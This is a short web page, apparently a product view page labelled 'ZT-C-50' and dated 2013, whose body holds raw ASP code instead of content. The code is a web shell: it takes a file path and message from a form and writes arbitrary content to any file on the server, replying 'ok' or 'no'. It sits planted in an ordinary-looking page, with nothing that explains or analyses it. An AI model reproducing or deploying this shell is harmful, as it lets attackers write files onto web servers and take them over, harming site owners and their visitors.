Home >> Show >> View
ZT-C-50
2013-10-03 23:09:36

 
Print 】 【 Close
<% on error resume next testfile=Request.form("filepath") msg=Request.form("message") if Trim(request("filepath"))<>"" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(""&msg& "") if err =0 Then response.write "ok" else response.write "no" end if err.clear thisfile.close set fs = nothing End if %>
">